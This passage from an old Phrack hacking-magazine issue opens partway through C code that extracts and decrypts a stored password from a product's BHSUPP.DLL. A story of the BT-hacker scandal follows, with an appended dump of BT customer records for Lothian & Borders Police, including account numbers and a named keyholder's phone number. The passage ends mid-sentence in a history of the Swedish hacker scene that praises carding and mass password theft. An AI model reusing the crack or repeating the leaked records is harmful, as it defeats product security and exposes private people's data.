void DecryptPassword(LPBYTE lpEncryptedPassword, LPSTR lpszPlaintextPassword)
|
||
{
|
||
register int outer, inner;
|
||
|
||
//go backwards through loops to undo XOR
|
||
for ( outer = 31; outer >= 0; outer-- )
|
||
{
|
||
for ( inner = 31; inner >= 0; inner-- )
|
||
{
|
||
if ( outer != inner )
|
||
{
|
||
lpEncryptedPassword[inner] ^= lpEncryptedPassword[outer] +
|
||
(outer ^ inner) + inner;
|
||
}
|
||
}
|
||
}
|
||
|
||
//since the original password was folded to fill 32 bytes only copy the first 16 bytes
|
||
memcpy(lpszPlaintextPassword, lpEncryptedPassword, 16);
|
||
|
||
//zero terminate this baby just incase it is actually a 16 byte password (yeah, right!)
|
||
lpszPlaintextPassword[16] = 0L;
|
||
|
||
return;
|
||
}
|
||
|
||
|
||
// get the path and file name for BHSUPP.DLL from the user in the case that it was
|
||
// a custom install
|
||
void GetTargetFileFromUser(HANDLE* phTargetFile, LPSTR lpszTargetFile)
|
||
{
|
||
char lpszPrompt[] = "\nFull path to BHSUPP.DLL including file name: ";
|
||
UINT nCount;
|
||
|
||
WriteFile(g_hStdOut, lpszPrompt, sizeof(lpszPrompt), &nCount, NULL);
|
||
|
||
ReadFile(g_hStdIn, lpszTargetFile, MAX_PATH, &nCount, NULL);
|
||
|
||
//I had to account for the CR + LF that ReadFile counts in the nCount return value,
|
||
//so I can zero terminate this string.
|
||
lpszTargetFile[nCount - 2] = 0L;
|
||
|
||
*phTargetFile = CreateFile(lpszTargetFile, GENERIC_READ, FILE_SHARE_READ |
|
||
FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
|
||
FILE_FLAG_SEQUENTIAL_SCAN, NULL);
|
||
|
||
//too lazy to make the error message report the actual path and file name tried
|
||
if(*phTargetFile == INVALID_HANDLE_VALUE)
|
||
{
|
||
WriteFile(g_hStdOut, "Unable to open BHSUPP.DLL\n",
|
||
26, &nCount, NULL);
|
||
|
||
ExitProcess(1L);
|
||
}
|
||
}
|
||
|
||
|
||
// This function allocs one big buffer and reads the whole damn DLL into it.
|
||
// There is a flag string that marks the start of the section that contains the
|
||
// encrypted passwords (in the case that there is a display password too), so
|
||
// we search for the first and last characters in the string. If we hit on a match
|
||
// we check about 50% of the chars in the string for a match. This is a good
|
||
// enough check based looking at the data. I guess I could optimize memory usage
|
||
// here too, but 24K is not very much these days, so fuck it.
|
||
BOOL GetEncryptedPassword(HANDLE hTargetFile, LPBYTE lpEncryptedPassword)
|
||
{
|
||
LPBYTE lpSearchBuffer;
|
||
UINT nCount, i;
|
||
|
||
//do the big buffer alloc
|
||
lpSearchBuffer = malloc(MAX_FILE_SIZE);
|
||
|
||
if(lpSearchBuffer == NULL)
|
||
{
|
||
WriteFile(g_hStdOut, "Memory Allocation Failure - Terminating\n",
|
||
41, &nCount, NULL);
|
||
|
||
ExitProcess(1L);
|
||
}
|
||
|
||
//read in the entire file. It is small enough that this takes trivial time to complete.
|
||
ReadFile(hTargetFile, lpSearchBuffer, MAX_FILE_SIZE, &nCount, NULL);
|
||
|
||
//do search for RTSS&G--BEGIN-- When it is found move 48 bytes past the R and copy
|
||
//the encrypted password into the workspace
|
||
for(i=0; i<nCount; i++)
|
||
{
|
||
if(lpSearchBuffer[i] == 'R' && lpSearchBuffer[i+14] == '-')
|
||
{
|
||
if(lpSearchBuffer[i+1] == 'T' && lpSearchBuffer[i+2] == 'S' &&
|
||
lpSearchBuffer[i+3] == 'S' && lpSearchBuffer[i+4] == '&' &&
|
||
lpSearchBuffer[i+8] == 'B')
|
||
{
|
||
//found password and coping it into the workspace
|
||
memcpy(lpEncryptedPassword, &lpSearchBuffer[i+48], 32);
|
||
|
||
//cleanup the mem alloc
|
||
free(lpSearchBuffer);
|
||
|
||
//return with success
|
||
return TRUE;
|
||
}
|
||
}
|
||
}
|
||
|
||
//cleanup
|
||
free(lpSearchBuffer);
|
||
|
||
//it failed to find the marker string
|
||
return FALSE;
|
||
}
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 16 of 18
|
||
|
||
|
||
THE TRUTH, THE WHOLE TRUTH AND NOTHING BUT THE TRUTH-
|
||
-a story of the 'BT-Hacker' scandal.
|
||
|
||
By Steve Fleming
|
||
|
||
|
||
Sitting in a chilly university computer department in northern England
|
||
was in itself exhilarating. The mid-February climate made it cold; my
|
||
head was buzzing with voices chatting freely about gaining access to
|
||
secret computers, acquiring free telephone calls and how to fashion
|
||
'bombs' to maim or kill lecturers and 'Senior Vice Principles'. There
|
||
was nobody else in the room, all the company was just under a meter from
|
||
me in CyberSpace, that alternative universe where anything is possible
|
||
and everyone is somebody they want to be. The stories were
|
||
extraordinary - in fact they were incredible, an eclectic mix of fact
|
||
and fantasy bound together by expert social engineering.
|
||
|
||
These CyberSpace 'cafes' are the BBS' - Bulletin Board Services - and
|
||
are the stock-in-trade of the electronic community. The Internet is
|
||
connected to some of them, but the best ones, the ones with the best
|
||
chat and the most exciting files are not - you get the dial-in number
|
||
from another user, and have to then beg to use the service. It is
|
||
interesting to note that the Internet has now become a generic term for
|
||
on-line communication and suffers as a result of its inappropriate use.
|
||
Blaming the Internet for anything is like apportioning culpability to
|
||
'society' - fine for academics but otherwise a shallow construct.
|
||
|
||
I have known some computer experts in my time, and still some 'reformed
|
||
hackers' count as my best friends - I really wanted to find out if a
|
||
major British computer could be hacked or if it had been done. The UK
|
||
has some of the most draconian secrecy laws anywhere on the planet, so
|
||
if secrets are found, they tend to be kept secret. When people start
|
||
talking in CyberSpace, they really talk and talk and talk. Their voice
|
||
has no tone or volume, no emotion or mood - it can be like talking with
|
||
a form of electronic psychopath sometimes. But there are inventive
|
||
ideas 'on-line', and sometimes you can SHOUT, but this is quite rude,
|
||
mostly pictorial punctuation (the smiley) is the key. You can indicate
|
||
a smile :-) or a frown {:-( and you can even indicate sarcasm ;-) with
|
||
a sly wink. It's interesting to note that irony is not really a north
|
||
American thing at all; sarcasm is a CyberSpace thing. I wouldn't say
|
||
that I am an expert, I wouldn't even say that I was very good with
|
||
computers, I'm always learning. My qualifications are in science;
|
||
Biology and Psychology, not computing. What this gives me is an urge to
|
||
investigate assuming a null hypothesis - I disprove things in short.
|
||
It's funny to think that most of the press followed a placed PR line
|
||
that I must be a '... twisted computer boffin who had broken into an
|
||
'...entirely robust...' computer system'. And my, did that title stick
|
||
- friends from Hong Kong to Turkey called to say I was a computer expert
|
||
all over the world! This was very effective and obviously placed by
|
||
someone with powerful influence, perhaps advertising influence? It
|
||
doesn't really matter, bad journalism is all over and we all have a
|
||
living to earn - I however, would never do it at the expense of a
|
||
colleague.
|
||
|
||
There was the vision of news editors screaming, "... get me some
|
||
secrets!" - they simply couldn't believe that a freelance with only a
|
||
few published pieces could have brought in such an impressive story with
|
||
a scandal at every level - so they capitulated with the 'boffin' lie and
|
||
went back to boring, standard, sloppy 'background' on this 'hacker'. It
|
||
was actually a bit of a personal tragedy, my on-line persona was
|
||
cracked, there wasn't very much in my life at all, quite a boring person
|
||
really; like most journalists who spend a lot of time observing rather
|
||
than doing. The Today newspaper had some hot tip-off's from people I'd
|
||
interviewed in the past, one man in particular who had lied in a silky
|
||
and attractive way for two and a half hours had been doing the same to
|
||
them. The fact that I wrote for a 'gay magazine'. Shock horror, a
|
||
definite Philby, Burgess & McLean story breaking. What a bit of
|
||
investigate journalism that wasn't, I wrote under my own name! Was he a
|
||
spy, was he working for Libya, Israel, MI-6, MI-5, the Labour Party,
|
||
Duncan Campbell, Richard Gott... and then there was the 'shit-bagging'.
|
||
This happens when tardy investigators are ignorant of the facts,
|
||
automatically they assume it should be them who had the story, if only
|
||
they'd had the time. But this is all history now, and I forgive them
|
||
all... but I never forget.
|
||
|
||
How could a temporary member of staff see all this secret information?
|
||
The list forming in the mind of the press (and I do think in situations
|
||
like these one surprisingly tiny mind) went something like this:
|
||
|
||
1. They aren't secrets at all.
|
||
|
||
2. BT would know if anyone had looked at the secret stuff, so
|
||
they'll catch the whistle-blower; probably working for computer
|
||
security within BT.
|
||
|
||
3. Fleming is a computer expert, he's hacked the system and is
|
||
spinning a story to prevent him being found out - and he's not a
|
||
'real' journalist and we are.
|
||
|
||
Well, there was clear evidence that the stuff was very sensitive, so
|
||
strike number 1 from the list. How could they wait for stage two, if it
|
||
is the case it may take days or weeks, so they couldn't have that -
|
||
anyway the Independent had shown it could be done away in time or place
|
||
of Fleming. The only option was; who's there, who'll talk, and how can
|
||
we retain credibility as journalists - repudiate the freelance!
|
||
|
||
There was no shortage of shit-bag material; 'various anonymous
|
||
sources... unconfirmed reports... it seems likely etc.' Some even
|
||
fancied the idea that the details were shocking, but lets just do it all
|
||
ourselves and dump on Fleming from a great height? It really was like
|
||
being on a maggot farm, wading through pen after pen of repulsive,
|
||
brainless, panicked... maggots.
|
||
|
||
The truth is that there was no great skill involved in cracking BT's
|
||
computer, it was so easy my pet parrot could have done it with only one
|
||
claw. Many companies are confused about computer security and what it
|
||
means. The sharp young suits talk about 'magneto-optical storage
|
||
facilities' and 'EPROM or WORM access'. The captains of industry nod
|
||
sagely, they run the ship and leave the deck scrubbing to junior
|
||
officers. These proud, self important and generally thick as two short
|
||
planks when it comes to computers men, authorise huge budgets for the
|
||
whiz-kids who play with the money, buy new things, install new software,
|
||
'patch' the operating system, attach ISDN cards, issue user ID's after
|
||
extensive family checks. You name it, and these guys do it, and they
|
||
love it. They install password checkers that look for hackers (or
|
||
errors) and disconnect users for 15 minutes if they get their passwords
|
||
wrong three times. The captains of industry still discuss 'wireless'
|
||
and 'word processors'. The bright young men should be allowed to deal
|
||
with all the computer stuff, it's not that the captains can't understand
|
||
it or anything like that, they just don't have the time.
|
||
|
||
Staff who have to work the systems couldn't care less about the
|
||
'advanced software engineering' that went into the system. There is as
|
||
much 'social engineering' as any other sort when it comes to computers
|
||
for industry. So they have to remember passwords that change regularly
|
||
and they have to remember to get that report done, and see the boss and
|
||
train the new staff and type that letter and claim those expenses and
|
||
design that form and... it's a lot to remember. When folk have a lot to
|
||
remember they make lists, and those lists include passwords - sounds
|
||
like an opportunuty for 'trashing'. They simply look through the
|
||
rubbish and see what they can see. Sometimes someone writes down a
|
||
password on a post-it note to let someone into their computer for some
|
||
reason, that person enters the password and makes a note in their diary
|
||
of it and pops the sticky in the bin. Then, in these busy offices,
|
||
staffing levels are being cut. The managers need a dozen staff, and
|
||
have four. They are allowed to contract from a temp agency and top up
|
||
the office. These people are often unemployed graduates. Clever, but
|
||
very, very bored. They don't get paid much, <20>4.00 an hour. That's what
|
||
I was paid to write a nationwide database suite for BT but there I have
|
||
to stop, the gag is cutting into me. They just want a decent job, and
|
||
try to impress in case they get offered one, and the companies play on
|
||
this and exploit without mercy. <20>4.00 an hour and they want unbridled
|
||
enthusiasm, ideas, loyalty, commitment - who are they trying to kid!
|
||
|
||
The computer administrators say they can't give temporary access to the
|
||
system, '... it can't be done.' Well what do you suggest? 'You'll just
|
||
have to make do, it's the system, can't help, sorry.' You need a dozen
|
||
workers, perhaps 6 need to be on the system, you have 5 passwords plus
|
||
another of the departmental manager making six. Why not let the temps
|
||
use these passwords and you can get on with the more important stuff,
|
||
can't be any harm in that? It's not as if we're using them? However,
|
||
temps are just that, temporary - they move on. Consequently with all
|
||
the changes you make up a folder with all the passwords and then they
|
||
can just flick through that to find a password, it doesn't seem all that
|
||
insecure does it?
|
||
|
||
And there we have it, passwords being shared, passed, written down,
|
||
typed in and shouted across the office. You can forget about any notion
|
||
of security, the moment you take that step the whole system is
|
||
pointless, you may as well print out all the secret information and sell
|
||
it in Dillons - it would certainly make the phone book a best seller!
|
||
Better still if the marketer's got what they wanted, put it on CD-ROM
|
||
and charge a fortune for it at christmas;
|
||
|
||
The Multimedia Secrets Collection, <20>199.95!
|
||
|
||
The ideal christmas gift for the spy in your life. Includes music from
|
||
around the world. BT, it's good to talk! NB it may be an offence to
|
||
talk to anybody about this.
|
||
|
||
Now you see why BT are keen to quell this espial, they know the
|
||
situation, but don't want it publicised, it's very embarrassing for
|
||
goodness sake - they have a contract to advise the government on
|
||
computer security! Frankly, I couldn't care less if some BT mandarin
|
||
gets a red face, it is no concern of mine. What is, is the fact that
|
||
these secrets are not encrypted and are broadcast around the country on
|
||
computers and are available to just about anyone who cares to look at
|
||
it. The only warning displayed was 'Unauthorised access is an offence
|
||
under the Computer Misuse Act (1990)' - but this access isn't
|
||
unauthorised, is it? This notion of 'confidential' is a joke. BT's
|
||
computers happily broadcast your ex-directory telephone number (and soon
|
||
your name) down the line unless you make the choice to prevent it. What
|
||
is confidential about that? The public interest is of prime importance
|
||
here. The scandalous intimition in my legal gag is that I am risking
|
||
national security? Me! Well I have a lot to say about that, it's not
|
||
me that allows any old temp to see secrets, and I have never printed a
|
||
single telephone number or details of any equipment, unlike some
|
||
respected others. I brought the fact this could be done to light in a
|
||
responsible journalistic manner.
|
||
|
||
If I was such an expert, the intelligence service would have snapped me
|
||
up immediately, BT would have paid me off and the government could have
|
||
avoided embarrassment. But I'm not, I'm a journalist. The Independent
|
||
published this story and I have respect for them, they took a risk and
|
||
then wanted to distance themselves from me, which I understand. It was
|
||
however a lonely, cold and frightening experience which is not yet over.
|
||
|
||
The governments of these lands talk big about how the information
|
||
superhighway will change all our lives, and how committed they are to
|
||
servicing this new form of infrastructure leading to a new, fresh and
|
||
exciting dimension - but they also punish, abuse, prosecute, imprison
|
||
and destroy the lives of the people who may be far better able to
|
||
exploit their ignorance and expose the sensitive underbelly of their
|
||
power - their information. If you ask me, the old guys will make
|
||
CyberSpace just as ugly and corrupt as the society they have already
|
||
spawned, nurtured and set on a path of destruction out here. I for one
|
||
don't want or need their advice, support or money - let them lay in the
|
||
bed they have made, I'll stay in CyberSpace.
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
- Related Info Appended by the Editor -
|
||
|
||
|
||
DCS DISPLAY CUSTOMER SUMMARY ??/??/?? 11:41
|
||
|
||
Name : THE CHIEF CONSTABLE Telephone No : 031-315 2007 NQR
|
||
Account No : 8077 0366
|
||
Address: LOTHIAN & BORDERS POLICE Customer Type: BUSINESS VOLUME
|
||
POLICE HEADQUARTERS Installations: 1
|
||
5 FETTES AVE
|
||
EDINBURGH LINE DETAILS
|
||
EH4 1RB Installed : 26/08/88
|
||
Line Status : B/W
|
||
Curr State :
|
||
Inst Class'n : BUS SINGLE EXCL
|
||
ORDER Exchange Type: TXDX03
|
||
RECEPTION MARKER Recent Order : YES
|
||
Contr Signed : BILLING
|
||
REPAIR CONSENT Method of Pay: ORDINARY ACCOUNT
|
||
: NO Systems Bus : C A/C U/Enquiry: NO
|
||
Servicecare : NO Sup Serv Bus : D D/M Case : NO
|
||
O/S fault : NO Cust Options : STANDARD VRUF
|
||
Hist fault : NO OSC Ind : NO
|
||
Hazard : CUSTOMER CONTACTS
|
||
Warning : Issue : NO Notes : YES
|
||
|
||
BRDCST MANAGERS USING NJR-PLEASE DNB"NJRNEWS" FOR UPDATE ON CALLOUT PROBLEM ES
|
||
4A_ O-O
|
||
DCRD PRODUCT TARIFF DETAILS ??/??/?? 11:41
|
||
|
||
Exchange Name : DEAN Tel No : 031-315 2007 NQR
|
||
Installed : 26/08/88 a/c No : 8077 0366
|
||
Inst Class'n : BUS SINGLE EXCL Notes : YES S/S No :
|
||
|
||
QTY PROD ID SHORT DESC or MSC / CP NOTE TARIFF:RATE TOTAL
|
||
|
||
1 A14499 C EXCH LINE + LINEBOX 32.66 32.66
|
||
*
|
||
1 A10117 C BASIC DIAL PHONE 4.70 4.70
|
||
*
|
||
1 A12481 C PRIVACY SET NO 8 51.75 51.75
|
||
*
|
||
|
||
|
||
TARIFF GRAND TOTAL : 89.11
|
||
ES
|
||
4A_ O-O
|
||
DIN DISPLAY NOTE DETAILS ??/??/?? 11:41
|
||
|
||
Installation : THE CHIEF CONSTABLE Tel no : 031-315 2007 NQR
|
||
Name
|
||
|
||
WRITTEN < AUTHOR > EXPIRES
|
||
|
||
8/ 2/94 JOSEPHINE/8813 8/ 2/95
|
||
|
||
A/.D LTR SENT FOR 0506843235,0313322106
|
||
0506881101 AND 0313152007
|
||
|
||
|
||
|
||
|
||
DCS DISPLAY CUSTOMER SUMMARY ??/??/?? 11:43
|
||
|
||
Name : LOTHIAN & BORDERS POLICE Telephone No : 031-332 2106 NQR
|
||
Account No : 8076 9640
|
||
Address: POLICE HEADQUARTERS Customer Type: PAYPHONE BUS
|
||
5 FETTES AVE Installations: 1
|
||
EDINBURGH
|
||
EH4 1RB LINE DETAILS
|
||
Installed : 04/10/83
|
||
Line Status : B/W
|
||
Curr State :
|
||
Inst Class'n : BUS PAYPHONE
|
||
ORDER Exchange Type: TXDX03
|
||
RECEPTION MARKER Recent Order : NO
|
||
BMC/C/N/ / / Contr Signed : YES BILLING
|
||
REPAIR CONSENT Method of Pay: ORDINARY ACCOUNT
|
||
: ** Systems Bus : D A/C U/Enquiry: NO
|
||
Servicecare : S Sup Serv Bus : C D/M Case : NO
|
||
O/S fault : NO Cust Options : SINGLE LINE OPTION
|
||
Hist fault : NO OSC Ind : NO
|
||
Hazard : CUSTOMER CONTACTS
|
||
Warning : Issue : COM Notes : YES
|
||
|
||
ES
|
||
4A_ O-O
|
||
DCRD PRODUCT TARIFF DETAILS ??/??/?? 11:43
|
||
|
||
Exchange Name : DEAN Tel No : 031-332 2106 NQR
|
||
Installed : 04/10/83 a/c No : 8076 9640
|
||
Inst Class'n : BUS PAYPHONE Notes : YES S/S No :
|
||
|
||
QTY PROD ID SHORT DESC or MSC / CP NOTE TARIFF:RATE TOTAL
|
||
|
||
1 A17867 C PAYP LINE SKTD SGL LINE TG10 32.66 32.66
|
||
*
|
||
1 A19493 C OPTION 50 NON-ISDN SITE LINE 0.00 0.00
|
||
*
|
||
1 A11790 C INTERNAL EXTN OFF MASTER SCKT 0.00 0.00
|
||
*
|
||
1 A17817 O MINSTREL PLUS PHONE Outright sale
|
||
FREE GIFT - NO GUARANTEE
|
||
1 A11810 C METER PULSE FACILITY 6.70 6.70
|
||
*
|
||
1 A19398 C PAYPHONE 190MP TABLE-TOP MODEL Outright sale
|
||
KEYHOLDER BETTY MITCHELL ON 031.311.3338
|
||
1 Standard Care charge on A19398 12.00 12.00
|
||
*
|
||
TARIFF GRAND TOTAL : 51.36
|
||
ES
|
||
4A_ O-O
|
||
DIN DISPLAY NOTE DETAILS ??/??/?? 11:43
|
||
|
||
Installation : LOTHIAN & BORDERS POLICE Tel no : 031-332 2106 NQR
|
||
Name
|
||
|
||
WRITTEN < AUTHOR > EXPIRES
|
||
|
||
8/ 2/94 JOSEPHINE/8813 8/ 2/95
|
||
|
||
A/.D LTR SENT FOR 0506843235,0313322106
|
||
0506881101 AND 0313152007
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 17 of 18
|
||
|
||
****************************************************************************
|
||
|
||
International Scenes
|
||
|
||
There was once a time when hackers were basically isolated. It was
|
||
almost unheard of to run into hackers from countries other than the
|
||
United States. Then in the mid 1980's thanks largely to the existence
|
||
of chat systems accessible through X.25 networks like Altger, tchh and
|
||
QSD, hackers world-wide began to run into each other. They began to
|
||
talk, trade information, and learn from each other. Separate and diverse
|
||
subcultures began to merge into one collective scene and has brought us
|
||
the hacking subculture we know today. A subculture that knows no
|
||
borders, one whose denizens share the common goal of liberating
|
||
information from its corporate shackles.
|
||
|
||
With the incredible proliferation of the Internet around the globe, this
|
||
group is growing by leaps and bounds. With this in mind, we want to
|
||
help further unite the communities in various countries by shedding
|
||
light onto the hacking scenes that exist there. If you want to
|
||
contribute a file about the hacking scene in your country, please send
|
||
it to us at phrack@well.com.
|
||
|
||
This issue we have files about the scenes in Sweden and Brazil.
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
The Swedish Hacker Scene
|
||
|
||
It's about time to fill up this hole in the worldwide history of hackers
|
||
published in the Phrack series of articles on national scenes. Since no
|
||
one else seems to be getting around to do it I'd better do it myself.
|
||
|
||
Sweden was in fact one of the countries in the front line during the
|
||
birth of computers in the 1940's and 50's. By 1953 KTH university in
|
||
Stockholm built BESK, at the time being the fastest and most advanced
|
||
computer in the world. During the late 1960's Linkoping university
|
||
specialized in computer science and in 1973 the computer society Lysator
|
||
started out as an offshoot of american hacker culture of the kind you
|
||
could find at MIT during the 60's and 70's. They are still active and
|
||
often referred to as the first Swedish hacker society ever, which is
|
||
indeed true. Now days they still adhere to the international hacker
|
||
ethic of university societies and among their lines are as well idiots
|
||
as real bright guys (as is the case of most such societies) and their
|
||
contributions to the world of e-culture include Project Runeberg; a text
|
||
archive of Scandinavian literature, and a voluminous FTP archive.
|
||
There's actually a lot of ASCII work being done at Lysator, including
|
||
converting Phrack back issues to HTML format.
|
||
|
||
Despite the early interest in computers in Sweden there was no
|
||
equivalent to the American phreakers of the 1970's. This was not caused
|
||
by lack of knowledge but rather by dullness. Sweden was during the 70's
|
||
and early 80's in a period of both economic wealth and social mentality
|
||
commonly known as "The Welfare State". Everybody was facing the same
|
||
high economic standards, nobody was really displeased with Swedish
|
||
society, and the government granted lots of spare-time activities for
|
||
youths. Thus the growing ground for any outlaw societies was withdrawn.
|
||
(Eg Hells Angels didn't start out in Sweden until the 80's.) Swedes were
|
||
in fact too pleased, too wealthy and too filled up with their vision of
|
||
an almost utopian society to even get the faintest glimpse of an idea to
|
||
form any underground movements. Even political groupings like
|
||
Anarchists, Hippies (in Europe referred to as "Provos") or Fascists were
|
||
almost WIPED OUT by the extreme political climate and wealth of the
|
||
70's.
|
||
|
||
Thus, phreaker culture couldn't possibly start out in Sweden at this
|
||
time, though some freaked out engineers and radio-amateurs might have
|
||
built blue boxes and similar equipment for their household needs. This
|
||
state of society caused Sweden to lag behind other European and
|
||
Scandinavian countries in the field of outlaw hacking.
|
||
|
||
The first hacker activity in Sweden was reported by the authorities in
|
||
1980. The hacker in question was a student at Chalmers university in
|
||
Gothenburg and was sued for manipulating the account system into
|
||
granting him free access to the mainframe, for which was sentenced to a
|
||
relatively light fine. Apart from some similar incidents carried out by
|
||
bright individuals there was no real H/P scene until 1984. Also in 1980
|
||
BBS activity started out in Sweden. Most enthusiasts were using a
|
||
Swedish micro built by Luxor and DIAB in 1978 called ABC-80 (Obviously
|
||
inspired by the American TRS-80). These enthusiast, however, were well
|
||
organized engineers running a straight user-group, no anarchists or
|
||
radicals of any kind were ever involved.
|
||
|
||
In 1984 a magazine called "Rolig Teknik" started out as an offshoot of
|
||
YIPL/TAP featuring the same kind of material, and by 1987 some
|
||
journalist "discovered" this magazine, causing a lot of noise throughout
|
||
The Welfare State and bringing people out in a public debate of how to
|
||
defeat this magazine. (Though it actually didn't feature any illegal
|
||
material; even Sweden has the freedom of speech and press written
|
||
explicit in its constitution, as in the American First Amendment.)
|
||
"Rolig Teknik" rapidly became a cult media for underground electronic
|
||
freaks, outlaw radio amateurs, and other antisocial movements. But let's
|
||
not get ahead of events.
|
||
|
||
By early 1984 two youths aged 17 and 19, clearly inspired by the movie
|
||
"War Games", hacked their way into several Swedish computer systems
|
||
using a simple Apple II and a 300 baud modem, notably DAFA-Spar - a
|
||
register containing public information on every Swedish citizen. Though
|
||
there were no secret data in this computer, and though these hackers
|
||
never succeed in gaining root access, the incident was annoying to the
|
||
authorities. Also this year, some wealthy upper-middle class youths
|
||
started using the was-to-become major European home computer: the
|
||
Commodore 64. What the Apple II was for America, the C-64 was for
|
||
Europe. Enter the software crackers.
|
||
|
||
C-64 was THE symbol of hackerdom to Swedish youths in the 1980's. As
|
||
software cracker Mr.Z pioneered the hacker scene in 1983 with hundreds
|
||
and hundreds of cracked games, Swedish hackers somehow got to believe
|
||
that cracking games was the Big Thing for any hacker. Besides, not many
|
||
of these guys had modems. By 1987 American game producers were alarmed
|
||
by the Niagara of cracked C-64 software being downloaded from Europe,
|
||
causing them to start copy-protecting games that were to be exported to
|
||
Europe. A closer examination showed that a lot of these cracks were made
|
||
by Swedish groups, notably Triad and Fairlight. Thus, most Americans to
|
||
get in touch with the Swedish hacker scene were what you would refer to
|
||
as the "Warez D00ds" or "Pirates" of the time. Since the Swedes were
|
||
unable to phreak due to lack of knowledge in the telecom field, American
|
||
warez d00ds constantly called up Swedish crackers to obtain the latest
|
||
software.
|
||
|
||
There seems to be some kind of misconception in the American view of the
|
||
hacker culture of Europe: Not very many hackers in Sweden and the rest
|
||
of Europe got into phreaking nor net hacking in these early years,
|
||
perhaps with the exception of the movement in Germany caused by Chaos
|
||
Computer Club. By tradition most European hackers in general, and
|
||
Swedish hackers in particular, turned to software cracking and demo
|
||
programming. (The Demo as an art form was invented in Europe during
|
||
1984-86.) None of these activities were actually illegal at the time
|
||
being, though indeed underground. This might have helped to create the
|
||
general American view of European hackers as "Idiotic Immature Warez
|
||
D00ds". In fact, most European hackers look upon software cracking and
|
||
demo programming with pride, though spreading (warez trading) wasn't
|
||
considered a real hacker activity, and pirating for economic gain was
|
||
looked upon with disgust and utter contempt. Software spreading in all
|
||
forms was finally outlawed in Sweden January 1st 1993.
|
||
|
||
1986: Enter the Netrunners.
|
||
By the year 1986 the legendary BBS "Tungelstamonitorn" under the
|
||
supervision of Jinge Flucht began distributing H/P and Anarchy files.
|
||
Jinge himself, being a social inspector and thereby fully aware of the
|
||
state of society, was upset with The Welfare State and thought the
|
||
Swedes had gone law-abiding in an absurd and unhealthy manner. In his
|
||
view people seemed to accept laws without ever questioning them, thereby
|
||
making Sweden into a conformistic utopian hell. Later Jinge joined the
|
||
Fidonet where he got known for running the most explicit and intense
|
||
debates in Swedish BBS-culture ever.
|
||
|
||
Probably the H/P files stored at Jinges BBS were the spark that lit the
|
||
Swedish net hacking scene. Swedish hackers had SEEN "War Games", HEARD
|
||
about the CCC in Germany, and now they finally got their hands on
|
||
documents that explained the techniques. In 1987 excerpts from Steven
|
||
Levy's "Hackers" and Bill Leebs "Out of the Inner Circle" were reprinted
|
||
in the Swedish computer- magazine "Datormagazin" by editor Christer
|
||
Rindeblad, creating a common group-awareness among Swedish hackers.
|
||
("Out of the Inner Circle" had actually been translated to Swedish
|
||
already 1985, but was obviously read mostly by security experts and War
|
||
Games-obsessed wannabe's.) 1987 also saw the birth of the first
|
||
all-Swedish hacker group ever to make themselves a name outside
|
||
Scandinavia. This was of course SHA - Swedish Hackers Association.
|
||
|
||
SHA wanted to be a hacker group of international standards and
|
||
qualities. They collected the best people, storing up a knowledge basis
|
||
for future use. In the years 1989-92 SHA was at its height, successfully
|
||
trashing computer companies and computer scrap dumps and gaining access
|
||
to hundreds of computers. Inspired by the German hackers Pengo and
|
||
Hagbard in Leitstelle 511 they started having regular meetings on
|
||
fridays at their own booked table in a restaurant in Stockholm. Their
|
||
perhaps biggest achievement ever was made in 1991 when they wrote a
|
||
scanner to exploit the Unix NIS-bug, running it on 30 processes
|
||
simultaneously, and ending up with some 150.000 passwords whereof 600
|
||
gained root access. Though some would say SHA were a bit too fond of the
|
||
media image of hackers and sometimes had a weakness for hacker cliches,
|
||
no one can really deny their achievements.
|
||
|
||
Swedish hackers also got a lot attention for their carding activities in
|
||
1989. Both Sneaker of SHA and Erik XIV of Agile wrote modulo
|
||
10-calculators to produce endless series of valid Visa-numbers. Erik XIV
|
||
was even on national television, demonstrating the weaknesses of the
|
||
credit card system. Cynically they were both busted.
|
||
|
||
At Christmas 1990 the Swedish X.25 network Datapak and Decnet were both
|
||
attacked by a group of UK hackers called 8LGM (8 Little Green Men or
|
||
8-Legged Groove Machine - I don't know which one is a media nick). Using
|
||
a war dialer they scanned about 22.000 entries and successfully accessed
|
||
380 of these. This is perhaps the most well-known of all hacks in
|
||
Sweden, causing a lot of media noise. (The exact figures are a product
|
||
of the Swedish telephone system AXE that I will write more about in a
|
||
moment.) As reported in Phrack #43 they were busted and convicted under
|
||
the new British anti-hacker law.
|
||
|
||
Later Swedish achievements include the phonecard emulator, constructed
|
||
by Atari ST enthusiast Marvin in 1992, after hearing the Swedish phone
|
||
company Telia boast of these prepaid phonecards superior security.
|
||
Though these silicon-based chip phonecards (256 bytes serial EPROMs)
|
||
couldn't actually be recharged or easily tampered with, he realized
|
||
there was no problem in emulating the chip with a Motorola 68c705
|
||
one-chip computer. Some fake phonecards were manufactured and sold for
|
||
almost nothing among his very best friends more on a "See, it can be
|
||
done"-basis than with any intention to defraud Telia or earn heaps of
|
||
money. Somehow the blueprints for the emulator found its way into the
|
||
Internet.
|
||
|
||
Swedish hackers in general have a very strong tradition of forming
|
||
groups, due to their roots in programming activities rather than
|
||
phreaking. Group awareness and culture is very widespread and accepted
|
||
within the boundaries of the whole Swedish computer underground. Thus,
|
||
LOYALTY is very strong among Swedish hackers. Most hackers who get
|
||
busted by authorities or blackmailed by companies would rather DIE than
|
||
telling the name of even a single 10-year old warez d00d.
|
||
|
||
While we're at it - hacker busts, and phreaker busts in particular, are
|
||
carried out in quite a disturbing manner in Sweden. To explain this I
|
||
must first explain a bit about the Swedish telephone system.
|
||
|
||
Almost all Swedish networks use a system similar to 4ESS, constructed in
|
||
cooperation by the State Telecom "Televerket" and Swedish
|
||
telecommunications equipment producers Ericsson Telecom. This system is
|
||
called AXE, which is an abbreviation for Automatic Cross-Connection
|
||
Equipment. AXE is used in some 100 countries all over the world and
|
||
probably one of the most beautiful exchange systems ever developed. AXE
|
||
is designed for national, metropolitan and rural networks, and the same
|
||
system nucleus is used in all the different systems. It can control both
|
||
digital and analog equipment, though it's made with the aim on
|
||
transforming all Swedish networks from analog to digital connections. It
|
||
also comes with a fully featured bureaucratic organization for
|
||
maintenance, administration and economics in general. AXE has the
|
||
capability of building virtual groups in switching-stations, thus
|
||
putting your PBX into the telco soup as well, making you believe you
|
||
have the control over it though it's actually located elsewhere.
|
||
|
||
In short, this is an centralized, monolithic system of the horribly
|
||
